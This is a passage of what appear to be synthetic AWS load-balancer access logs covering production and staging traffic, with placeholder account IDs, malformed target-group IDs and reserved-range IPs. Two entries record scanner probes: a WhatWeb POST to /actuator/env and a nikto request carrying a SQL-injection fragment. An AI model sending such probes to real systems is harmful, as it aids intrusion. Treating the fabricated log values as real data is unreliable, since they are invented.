ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c66b-ed57d74805c14b39a88cf6a7" "prod-api-alb.example.com" "-" 8 2024-11-01T01:03:23.416015Z "forward" "-" "-" "10.0.89.78:443" "301" "-" "-" -https 2024-11-01T01:03:24.746192Z prod-api-alb 53.62.37.51:15144 10.0.134.61:443 0.041516 0.206213 0.097356 200 200 314 7329 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c66c-6575e6e2019d4078ad43f536" "prod-api-alb.example.com" "-" 9 2024-11-01T01:03:24.746192Z "forward" "-" "-" "10.0.134.61:443" "200" "-" "-" -https 2024-11-01T01:03:26.464918Z prod-web-alb 110.187.68.89:41689 10.0.129.70:443 0.024898 0.386480 0.089189 301 301 41 6689 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c66e-17de5b1872744e37bd39167d" "prod-web-alb.example.com" "-" 3 2024-11-01T01:03:26.464918Z "forward" "-" "-" "10.0.129.70:443" "301" "-" "-" -https 2024-11-01T01:03:28.101946Z prod-api-alb 68.135.66.185:34212 10.0.138.31:443 0.078643 0.062935 0.024497 200 200 175 6142 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c670-b7252413ec2e4f16b547bc0c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:03:28.101946Z "forward" "-" "-" "10.0.138.31:443" "200" "-" "-" -https 2024-11-01T01:03:28.470424Z prod-web-alb 27.195.90.254:26045 10.0.209.238:443 0.010326 0.037309 0.098533 200 200 286 8678 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c670-47b690a86fbc4e4aa5597885" "prod-web-alb.example.com" "-" 10 2024-11-01T01:03:28.470424Z "forward" "-" "-" "10.0.209.238:443" "200" "-" "-" -http 2024-11-01T01:03:29.583132Z staging-alb 118.216.116.52:12418 124.0.228.174:8080 0.023917 0.094314 0.056511 200 200 803 11316 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c671-f2beb896e898429086bcca42" "staging-alb.example.com" "-" 2 2024-11-01T01:03:29.583132Z "forward" "-" "-" "124.0.228.174:8080" "200" "-" "-" -https 2024-11-01T01:03:30.497436Z prod-web-alb 18.16.43.162:64608 10.0.10.124:443 0.053856 0.382677 0.046781 302 302 598 7979 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c672-58f91544e47d4a4ebd0a9ef2" "prod-web-alb.example.com" "-" 6 2024-11-01T01:03:30.497436Z "forward" "-" "-" "10.0.10.124:443" "302" "-" "-" -https 2024-11-01T01:03:32.006708Z prod-api-alb 32.37.72.184:14948 10.0.8.116:443 0.048253 0.062388 0.086586 200 200 572 14237 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c674-60857428e5da4565a90b6e1a" "prod-api-alb.example.com" "-" 1 2024-11-01T01:03:32.006708Z "forward" "-" "-" "10.0.8.116:443" "200" "-" "-" -https 2024-11-01T01:03:33.239801Z prod-web-alb 122.158.37.56:59742 10.0.185.56:443 0.093539 0.154128 0.037420 404 404 401 1942 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c675-4b7d08562ca9403cb367a7bb" "prod-web-alb.example.com" "-" 1 2024-11-01T01:03:33.239801Z "forward" "-" "-" "10.0.185.56:443" "404" "-" "-" -https 2024-11-01T01:03:33.430909Z prod-web-alb 40.105.173.1:53556 10.0.2.117:443 0.019231 0.130665 0.013303 301 301 437 1897 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c675-bbf4b43945ea4639affec325" "prod-web-alb.example.com" "-" 7 2024-11-01T01:03:33.430909Z "forward" "-" "-" "10.0.2.117:443" "301" "-" "-" -https 2024-11-01T01:03:34.219544Z prod-api-alb 45.155.205.9:49018 10.0.238.41:443 0.093475 0.196574 0.000568 404 404 476 10393 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c676-06c0e52b005d41d8b4ff2d71" "-" "-" 6 2024-11-01T01:03:34.219544Z "forward" "-" "-" "10.0.238.41:443" "404" "-" "-" -https 2024-11-01T01:03:34.907788Z prod-web-alb 138.7.202.198:31883 10.0.238.52:443 0.045663 0.005853 0.076421 200 200 748 10245 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c676-2834f6f4955c4094a1e0f58c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:03:34.907788Z "forward" "-" "-" "10.0.238.52:443" "200" "-" "-" -https 2024-11-01T01:03:35.535238Z prod-api-alb 155.51.79.241:45773 10.0.7.181:443 0.012502 0.454163 0.075122 302 302 893 12070 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c677-3f505ee727aa4eec8c12da3c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:03:35.535238Z "forward" "-" "-" "10.0.7.181:443" "302" "-" "-" -https 2024-11-01T01:03:37.069485Z prod-web-alb 118.90.56.25:63317 10.0.38.13:443 0.092689 0.184157 0.064435 404 404 827 3544 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c679-c1a2f44808b7490c91453bd4" "prod-web-alb.example.com" "-" 1 2024-11-01T01:03:37.069485Z "forward" "-" "-" "10.0.38.13:443" "404" "-" "-" -http 2024-11-01T01:03:37.873374Z staging-alb 69.126.224.223:29053 240.43.217.145:8080 0.088516 0.074685 0.122626 302 302 865 13445 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c679-737c1066dc11452382954c51" "staging-alb.example.com" "-" 5 2024-11-01T01:03:37.873374Z "forward" "-" "-" "240.43.217.145:8080" "302" "-" "-" -https 2024-11-01T01:03:39.690990Z prod-api-alb 60.125.122.215:43484 10.0.171.170:443 0.028592 0.157700 0.081267 200 200 127 14548 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c67b-d6693f94907140e798c64ac5" "prod-api-alb.example.com" "-" 8 2024-11-01T01:03:39.690990Z "forward" "-" "-" "10.0.171.170:443" "200" "-" "-" -https 2024-11-01T01:03:40.062642Z prod-web-alb 207.202.156.105:61412 10.0.181.113:443 0.019132 0.087716 0.020643 301 301 65 9098 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c67c-167312e0f1f84decbf8b15ea" "prod-web-alb.example.com" "-" 8 2024-11-01T01:03:40.062642Z "forward" "-" "-" "10.0.181.113:443" "301" "-" "-" -https 2024-11-01T01:03:42.036144Z prod-api-alb 79.227.165.129:45384 10.0.220.87:443 0.018088 0.257627 0.098228 200 200 627 14762 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c67e-5647d6862cb141cbb9889dd8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:03:42.036144Z "forward" "-" "-" "10.0.220.87:443" "200" "-" "-" -http 2024-11-01T01:03:42.381065Z staging-alb 25.68.81.30:22252 170.244.3.112:8080 0.090527 0.426840 0.032329 200 200 755 2672 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c67e-625337388b1642ac99554122" "staging-alb.example.com" "-" 6 2024-11-01T01:03:42.381065Z "forward" "-" "-" "170.244.3.112:8080" "200" "-" "-" -http 2024-11-01T01:03:43.303544Z staging-alb 193.27.228.11:41043 183.154.123.48:443 0.092587 0.471698 0.100133 403 403 260 336 "POST /search?q=1' UNION SELECT HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c67f-64525337253a47108ba84cc6" "-" "-" 5 2024-11-01T01:03:43.303544Z "forward" "-" "-" "183.154.123.48:443" "403" "-" "-" -https 2024-11-01T01:03:43.634432Z prod-web-alb 230.226.58.142:53500 10.0.202.65:443 0.073309 0.071545 0.053834 301 301 649 4205 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c67f-191076eabf5a4cf6a7f68848" "prod-web-alb.example.com" "-" 10 2024-11-01T01:03:43.634432Z "forward" "-" "-" "10.0.202.65:443" "301" "-" "-" -https 2024-11-01T01:03:44.318754Z staging-alb 93.21.213.149:16378 206.60.210.93:8080 0.038205 0.582911 0.042525 301 301 744 10024 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c680-2030f2a9cad64cde8c6695c4" "staging-alb.example.com" "-" 2 2024-11-01T01:03:44.318754Z "forward" "-" "-" "206.60.210.93:8080" "301" "-" "-" -http 2024-11-01T01:03:44.522672Z staging-alb 156.227.103.31:53766 60.254.218.34:80 0.045345 0.706096 0.078570 200 200 640 13892 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c680-1f07ca06cee64acb854039bc" "staging-alb.example.com" "-" 9 2024-11-01T01:03:44.522672Z "forward" "-" "-" "60.254.218.34:80" "200" "-" "-" -http 2024-11-01T01:03:44.854773Z staging-alb 137.120.204.109:58821 58.16.119.106:443 0.064684 0.393939 0.065088 200 200 280 6414 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c680-8c38c5d7ecd94fbaa5623ffa" "staging-alb.example.com" "-" 3 2024-11-01T01:03:44.854773Z "forward" "-" "-" "58.16.119.106:443" "200" "-" "-" -https 2024-11-01T01:03:46.603773Z prod-api-alb 23.32.17.185:14018 10.0.24.42:443 0.073132 0.246680 0.019531 404 404 882 12084 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c682-5f0709aed5c240379fa977a4" "prod-api-alb.example.com" "-" 10 2024-11-01T01:03:46.603773Z "forward" "-" "-" "10.0.24.42:443" "404" "-" "-" -https 2024-11-01T01:03:47.664942Z staging-alb 70.113.92.105:37780 118.219.34.184:80 0.052706 0.702007 0.051921 200 200 51 8436 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c683-e5e61efcf557426998c964b3" "staging-alb.example.com" "-" 7 2024-11-01T01:03:47.664942Z "forward" "-" "-" "118.219.34.184:80" "200" "-" "-" -https 2024-11-01T01:03:48.249992Z prod-api-alb 74.239.200.179:55762 10.0.26.97:443 0.032426 0.174541 0.090471 200 200 733 4181 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c684-0de5a6efe8714191b65ae1a6" "prod-api-alb.example.com" "-" 3 2024-11-01T01:03:48.249992Z "forward" "-" "-" "10.0.26.97:443" "200" "-" "-" -https 2024-11-01T01:03:49.089060Z prod-api-alb 44.195.248.79:64564 10.0.106.82:443 0.057531 0.081285 0.022225 200 200 25 365 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c685-b85b8ecb5fad4700952ace5f" "prod-api-alb.example.com" "-" 8 2024-11-01T01:03:49.089060Z "forward" "-" "-" "10.0.106.82:443" "200" "-" "-" -http 2024-11-01T01:03:49.273596Z staging-alb 97.223.245.190:22945 13.61.40.173:8080 0.148423 0.458287 0.117581 301 301 79 4589 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c685-6ed2d70fde7147159b97f848" "staging-alb.example.com" "-" 9 2024-11-01T01:03:49.273596Z "forward" "-" "-" "13.61.40.173:8080" "301" "-" "-" -https 2024-11-01T01:03:50.884917Z staging-alb 75.151.181.12:18471 131.64.199.212:8080 0.135485 0.170484 0.049611 200 200 233 294 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c686-41f86147d76a4868a9e91809" "-" "-" 8 2024-11-01T01:03:50.884917Z "forward" "-" "-" "131.64.199.212:8080" "200" "-" "-" -https 2024-11-01T01:03:52.463155Z staging-alb 61.105.58.201:10009 20.48.178.202:80 0.128751 0.684334 0.027931 302 302 919 5690 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c688-69b0b27b6b29465491ee2b59" "staging-alb.example.com" "-" 2 2024-11-01T01:03:52.463155Z "forward" "-" "-" "20.48.178.202:80" "302" "-" "-" -https 2024-11-01T01:03:52.953012Z prod-api-alb 179.181.89.91:30487 10.0.67.120:443 0.098924 0.058169 0.084650 200 200 491 13351 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c688-5afb4202402f4f5fbd668eec" "prod-api-alb.example.com" "-" 9 2024-11-01T01:03:52.953012Z "forward" "-" "-" "10.0.67.120:443" "200" "-" "-" -https 2024-11-01T01:03:54.016313Z staging-alb 8.161.60.80:50511 28.182.73.192:80 0.014277 0.368084 0.086571 200 200 682 4648 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c68a-fb62b3051c9342f7a0161f8e" "-" "-" 1 2024-11-01T01:03:54.016313Z "forward" "-" "-" "28.182.73.192:80" "200" "-" "-" -https 2024-11-01T01:03:55.152401Z prod-api-alb 108.120.0.14:38733 10.0.154.225:443 0.063038 0.287169 0.076735 302 302 169 12268 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c68b-6f6874e4b6ef4de7b6bb9875" "prod-api-alb.example.com" "-" 3 2024-11-01T01:03:55.152401Z "forward" "-" "-" "10.0.154.225:443" "302" "-" "-" -https 2024-11-01T01:03:55.308714Z prod-web-alb 138.144.197.73:41098 10.0.1.62:443 0.026299 0.475808 0.055961 200 200 567 11881 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c68b-71c0f724e23744a298944812" "prod-web-alb.example.com" "-" 3 2024-11-01T01:03:55.308714Z "forward" "-" "-" "10.0.1.62:443" "200" "-" "-" -http 2024-11-01T01:03:56.006636Z staging-alb 199.238.224.214:34321 63.103.7.46:80 0.119727 0.009618 0.004210 302 302 838 14448 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c68c-da5df0c2c5e8428d9e1a28e0" "staging-alb.example.com" "-" 6 2024-11-01T01:03:56.006636Z "forward" "-" "-" "63.103.7.46:80" "302" "-" "-" -https 2024-11-01T01:03:56.475415Z prod-api-alb 154.88.126.139:54853 10.0.36.175:443 0.013670 0.448515 0.048549 404 404 642 14305 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c68c-f047cdb8b7a44921b4f77521" "prod-api-alb.example.com" "-" 1 2024-11-01T01:03:56.475415Z "forward" "-" "-" "10.0.36.175:443" "404" "-" "-" -http 2024-11-01T01:03:57.591479Z staging-alb 170.20.52.210:42063 126.76.188.233:443 0.077405 0.038515 0.099745 200 200 704 9008 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c68d-2f0c7dca29cc453aac2d3eab" "-" "-" 8 2024-11-01T01:03:57.591479Z "forward" "-" "-" "126.76.188.233:443" "200" "-" "-" -http 2024-11-01T01:03:58.506548Z staging-alb 234.40.222.113:49790 70.48.196.173:443 0.013953 0.610334 0.138050 200 200 590 8239 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c68e-e19672793ada4f7e8751d375" "staging-alb.example.com" "-" 3 2024-11-01T01:03:58.506548Z "forward" "-" "-" "70.48.196.173:443" "200" "-" "-" -https 2024-11-01T01:04:00.197094Z prod-web-alb 227.63.74.171:49312 10.0.182.170:443 0.092959 0.143235 0.046425 200 200 706 10216 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c690-1ba729e39a09458b91a0d768" "prod-web-alb.example.com" "-" 7 2024-11-01T01:04:00.197094Z "forward" "-" "-" "10.0.182.170:443" "200" "-" "-" -https 2024-11-01T01:04:01.109410Z prod-api-alb 248.37.75.122:57847 10.0.92.73:443 0.002618 0.056758 0.004171 404 404 51 5717 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c691-b8e94f21b6d84eae8904d2ab" "prod-api-alb.example.com" "-" 3 2024-11-01T01:04:01.109410Z "forward" "-" "-" "10.0.92.73:443" "404" "-" "-" -https 2024-11-01T01:04:02.075680Z prod-web-alb 167.109.3.76:55284 10.0.146.67:443 0.012495 0.100009 0.050843 200 200 146 5684 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c692-fbb6d1cf28804868a0657905" "prod-web-alb.example.com" "-" 1 2024-11-01T01:04:02.075680Z "forward" "-" "-" "10.0.146.67:443" "200" "-" "-" -https 2024-11-01T01:04:03.753115Z prod-web-alb 211.184.20.40:10740 10.0.111.104:443 0.000213 0.259195 0.087197 301 301 797 2157 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c693-2d8696eaf16f4484b71d83cc" "prod-web-alb.example.com" "-" 8 2024-11-01T01:04:03.753115Z "forward" "-" "-" "10.0.111.104:443" "301" "-" "-" -https 2024-11-01T01:04:05.400409Z prod-web-alb 45.199.50.36:48153 10.0.64.32:443 0.048635 0.005639 0.086454 200 200 115 10483 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c695-f005bcedd7694c88b5f95410" "prod-web-alb.example.com" "-" 0 2024-11-01T01:04:05.400409Z "forward" "-" "-" "10.0.64.32:443" "200" "-" "-" -https 2024-11-01T01:04:06.072812Z prod-web-alb 29.73.105.112:46013 10.0.98.57:443 0.031319 0.013878 0.004299 302 302 78 13190 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c696-a557d9f5681743129821ef6d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:04:06.072812Z "forward" "-" "-" "10.0.98.57:443" "302" "-" "-" -https 2024-11-01T01:04:07.335829Z prod-api-alb 10.197.173.181:19574 10.0.159.119:443 0.007546 0.027770 0.098609 200 200 623 9666 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c697-fef6e88bc4eb45f6b5b4ed5c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:04:07.335829Z "forward" "-" "-" "10.0.159.119:443" "200" "-" "-" -http 2024-11-01T01:04:07.866837Z staging-alb 244.209.180.41:23541 118.247.153.167:8080 0.091674 0.370614 0.039333 200 200 374 3967 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c697-a70206a0e75c4ea396782d4a" "-" "-" 10 2024-11-01T01:04:07.866837Z "forward" "-" "-" "118.247.153.167:8080" "200" "-" "-" -https 2024-11-01T01:04:08.498872Z prod-web-alb 165.235.131.96:12040 10.0.153.86:443 0.024949 0.362448 0.048891 200 200 0 7104 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c698-c2d920b0788b44b898208939" "prod-web-alb.example.com" "-" 4 2024-11-01T01:04:08.498872Z "forward" "-" "-" "10.0.153.86:443" "200" "-" "-" -https 2024-11-01T01:04:09.860469Z prod-web-alb 73.155.152.79:57999 10.0.72.199:443 0.046847 0.229751 0.077259 302 302 393 9883 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c699-60131c2452ef456c8ecdb47d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:04:09.860469Z "forward" "-" "-" "10.0.72.199:443" "302" "-" "-" -http 2024-11-01T01:04:10.169249Z staging-alb 146.237.223.177:49322 208.201.221.40:80 0.087377 0.613939 0.091115 302 302 332 14926 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 